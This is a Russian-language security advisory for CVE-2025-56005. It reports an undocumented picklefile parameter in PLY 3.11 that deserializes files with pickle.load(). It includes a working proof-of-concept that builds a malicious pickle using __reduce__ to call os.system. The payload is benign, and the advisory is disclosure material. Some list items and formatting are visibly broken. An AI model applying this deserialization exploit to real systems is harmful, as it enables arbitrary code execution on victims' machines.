
Незадокументированный RCE в PLY через параметр `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Незадокументированная и небезопасная функция в распространяемой через PyPI версии PLY 3.11 позволяет выполнять произвольный код при вызове функции yacc() с параметром picklefile.
Параметр picklefile заставляет PLY десериализовать файл .pkl с помощью Python‑функции pickle.load() без проверки. Поскольку модуль в Python поддерживает выполнение произвольного кода во время десериализации (например, через ), злоумышленник, контролирующий переданный pickle‑файл, может выполнить произвольный код во время инициализации парсера.
pickle__reduce__()Этот параметр не задокументирован в официальной документации PLY или репозитории GitHub, однако он активен в релизе на PyPI.
Если злоумышленник может контролировать, заменить или повлиять на .pkl‑файл, передаваемый в yacc(picklefile=...), он может добиться:
Это может затронуть приложения, которые загружают таблицы парсера из:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() в ply/yacc.pyЭта уязвимость представляет повышенный риск из‑за её скрытного характера и потенциала для закрепления.
Параметр picklefile не задокументирован в официальной документации PLY и репозитории GitHub. Однако распространяемая через PyPI версия PLY 3.11 включает эту функциональность и обрабатывает переданный файл с помощью pickle.load() без проверки.
Поскольку модуль pickle в Python допускает выполнение встроенного кода во время десериализации, вредоносный pickle‑файл может выполнить произвольный код во время настройки парсера, до вызова любой логики парсинга.
На момент написания сопровождающий публично не подтвердил такое поведение.
Эта функциональность может быть использована для внедрения постоянных бэкдоров, особенно в средах, где файлы таблиц парсера:
Учитывая отсутствие документации, скрытый путь выполнения и высокое влияние небезопасной десериализации, присвоение CVE оправдано для повышения осведомлённости и защиты нижестоящих пользователей.
Это доказательство концепции демонстрирует выполнение произвольного кода при передаче вредоносного pickle‑файла через незадокументированный параметр picklefile.
PoC:
При вызове yacc(picklefile='exploit.pkl') произвольный код выполняется во время инициализации парсера.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile с недоверенными или доступными для внешней записи файлами